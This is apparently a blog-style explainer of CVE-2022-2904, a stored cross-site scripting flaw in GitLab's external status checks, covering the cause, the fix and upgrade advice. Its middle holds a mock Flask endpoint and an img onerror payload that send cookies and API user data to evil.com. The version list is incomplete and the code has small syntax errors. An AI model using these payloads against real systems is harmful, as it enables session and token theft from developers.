In 2022, a dangerous vulnerability titled CVE-2022-2904 was uncovered in GitLab Community Edition (CE) and Enterprise Edition (EE). This bug impacted millions of developers worldwide who rely on GitLab for secure code collaboration. The issue? A classic—but very serious—cross-site scripting (XSS) flaw hiding in GitLab's _external status checks_ feature.
Let’s break this down in everyday language: XSS is a way for bad actors to inject nasty scripts (like JavaScript) into a website, which then runs on other people’s browsers. In this GitLab bug, attackers could insert code that would do things as if *you* did them yourself.
This post will walk you through what happened, what it means for users, how the bug worked—including an exploit example—and ways to stay safe.
All versions from 15.4 before 15.4.1
If your GitLab is or was running any of those, you are at risk!
Offical Resources
- GitLab Security Release Notice
- GitLab's CVE-2022-2904 entry
Understanding the "External Status Checks" Feature
In simple terms, “external status checks” let GitLab projects require approvals from external services before merges. Imagine you have an outside security tool. With this feature, GitLab won’t let code get merged unless the tool says “all clear.”
But... what happens if information from these external checks isn’t handled safely?
How the XSS Vulnerability Worked
The core of the bug: GitLab was not sanitizing the data returned from these external services before displaying it on merge request pages. This meant malicious actors could create an external status check (or compromise one), and use it to send back _malicious HTML or JavaScript_.
When a user (like a developer or project maintainer) viewed a merge request containing this tainted status check data, the browser would run any script injected in the response—thinking it was safe.
Suppose an attacker controls this API
# mock_status_check.py
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/attack_check')
def attack_check():
# XSS payload in the status message
status = '<img src=x onerror="alert(\'XSS by attacker\'); fetch(\'https://evil.com/steal?cookie=\'; + document.cookie)"> Exploit!'
return jsonify({
"status": "failed",
"message": status
})
app.run(host="...", port=500)
The attacker sets up this endpoint and registers it as an external status check in GitLab.
User visits the merge request page
GitLab fetches the status from this endpoint. If the output is shown _unsafely_ (aka not escaped), the code inside message is rendered as HTML.
Malicious JavaScript runs
As soon as any maintainer views the merge request, the JavaScript fires—stealing cookies, showing a popup, or carrying out actions using the victim's credentials (like approving unwanted code, changing settings, etc).
Suppose the attacker wants to perform actions on behalf of the victim. A simple payload could be
<img src="x" onerror="
fetch('/api/v4/user', {
headers: { 'PRIVATE-TOKEN': localStorage.getItem('access_token') }
}).then(r => r.json())
.then(data => fetch('https://evil.com/steal';, {
method: 'POST',
body: JSON.stringify(data)
}))
">
If this is not neutralized by the server (which it wasn’t in the vulnerable versions), it can read the user's data and send it to the attacker.
Stored XSS is persistent. Anyone who visits the affected page runs the attack.
- Privilege escalation: The script runs as _you_. If you’re an admin or maintainer, it’s even worse.
The Fix
GitLab patched the bug by sanitizing all data returned from external status checks. After the fix, untrusted HTML/JS in status messages can’t execute in users’ browsers anymore.
Update, update, update! If your GitLab is old, upgrade now
- GitLab 15.2.5 Release Notes
- GitLab 15.3.4 Release Notes
- GitLab 15.4.1 Release Notes
Conclusion
CVE-2022-2904 is another reminder that even trusted, popular platforms like GitLab can harbor severe bugs from unexpected angles. Cross-site scripting is still a top threat—and with integrations and APIs everywhere, the attack surface is only growing.
Stay safe by keeping all your tools up-to-date and reviewing the data flow between your apps. And remember: if something can be shown in a web browser, it should be treated as dangerous unless proven otherwise!
References
- Official GitLab Security Advisory
- National Vulnerability Database - CVE-2022-2904
- OWASP XSS Cheat Sheet
Timeline
Published on: 11/02/2022 20:15:00 UTC
Last modified on: 11/03/2022 17:26:00 UTC